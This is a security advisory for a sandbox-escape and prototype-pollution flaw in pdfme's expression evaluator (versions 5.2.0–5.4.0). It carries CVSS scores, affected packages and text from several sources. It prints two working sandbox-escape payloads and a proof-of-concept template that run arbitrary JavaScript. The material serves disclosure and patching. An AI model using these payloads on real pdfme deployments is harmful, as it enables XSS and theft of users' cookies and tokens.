6.1medium
pdfme has Sandbox Escape and Prototype Pollution vulnerabilities in pdfme expression evaluation
- Severity
- 6.1medium CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.33% (higher than 28% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-54xv-94qv-2gfg
Description
pdfme is a TypeScript-based PDF generator and React-based UI. The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks. This vulnerability is fixed in 5.4.1.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| pdfme pdfme | >= 5.2.0, < 5.4.1 | CVE List |
| @pdfme/common (npm) | from 5.2.0 before 5.4.1 | GitHub Advisory Database |
All scores
| GitHub_M | 6.1medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| GitHub | 6.1medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
Classification
What each source says
CVE List
pdfme is a TypeScript-based PDF generator and React-based UI. The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks. This vulnerability is fixed in 5.4.1.
GitHub Advisory Database
Summary
The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.
Details
1. Sandbox Escape Leading to XSS
The expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:
// Attack vector 1: Using Object.getOwnPropertyDescriptor
{ ((f, g) => f(g(Object), "constructor").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)("alert(location)")() }
// Attack vector 2: Using object property access
{ { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), "constructor").value("alert(location)")() }
Both payloads bypass the sandbox restrictions and execute Function("alert(location)")().
2. Prototype Pollution
The expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain:
__lookupGetter____lookupSetter____defineGetter____defineSetter__
Impact
These vulnerabilities allow attackers to:
- Execute arbitrary JavaScript code in the context of the application
- Steal sensitive information including cookies and tokens
- Modify application behavior through prototype pollution
- Potentially perform actions on behalf of users
Proof of Concept
Loading the following template in pdfme triggers alert(location):
{
"schemas": [[{
"name": "field1",
"type": "text",
"content": "{ ((f, g) => f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }",
"position": { "x": 0, "y": 0 },
"width": 100,
"height": 100
}]],
"basePdf": { "width": 100, "height": 100 },
"pdfmeVersion": "5.4.0"
}
NVD (es)
pdfme es un generador de PDF basado en TypeScript y una interfaz de usuario basada en React. La función de evaluación de expresiones de pdfme 5.2.0 a 5.4.0 contiene vulnerabilidades críticas que permiten escapar de la zona protegida, lo que provoca ataques XSS y de contaminación de prototipos. Esta vulnerabilidad se corrige en la versión 5.4.1.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-53626 changed 2025-07-10 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-54xv-94qv-2gfg changed 2026-09-10 | CC-BY-4.0 |
| NVD | CVE-2025-53626 changed 2026-06-17 | Public domain |